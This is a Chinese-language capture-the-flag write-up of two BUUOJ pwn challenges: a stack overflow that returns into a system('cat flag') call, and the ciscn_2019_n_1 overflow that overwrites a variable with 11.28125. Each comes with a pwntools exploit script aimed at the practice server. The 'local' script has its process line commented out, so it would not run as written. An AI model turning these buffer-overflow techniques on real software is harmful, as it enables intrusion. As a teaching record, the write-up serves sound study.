1.溢出到shell位置
下载文件
checksec
file
发现是64位的 然后 放入ida
查看字符串
发现 cat flag
然后看看
F5反编译
我们发现了system 然后get()函数
我们可以使用栈溢出 我们看看 v1函数的地址 是30h 然后是64位的 所以 基地址是8字节
我们开始查看 system的地址
所以发现system的地址 开始写exp
from pwn import *
p=remote('node4.buuoj.cn',27236)
payload = b'A'*(0x30+0x08)+p64(0x4006BE)
p.sendline(payload)
p.interactive()
得到
2.修改v2的值
我们需要知道在定义变量的时候是一段连续的距离 因为这个事全局变量 所以是在上面的
两个图来理解
这两个就能发现 v1和v2相差了 (0x30-0x04)
然后我们需要找到
判断语句的11.28125在内存里的表达方式
在汇编里面能找到
找到地址了
exp
本地
from pwn import *
#p=process('./ciscn_2019_n_1')
payload=b'A'*(0x2c)+p64(0x41348000)
p.sendline(payload)
p.interactive()
远程
from pwn import *
p=remote('node4.buuoj.cn',25149)
payload=b'A'*(0x2c)+p64(0x41348000)
p.sendline(payload)
p.interactive()
同样可以得到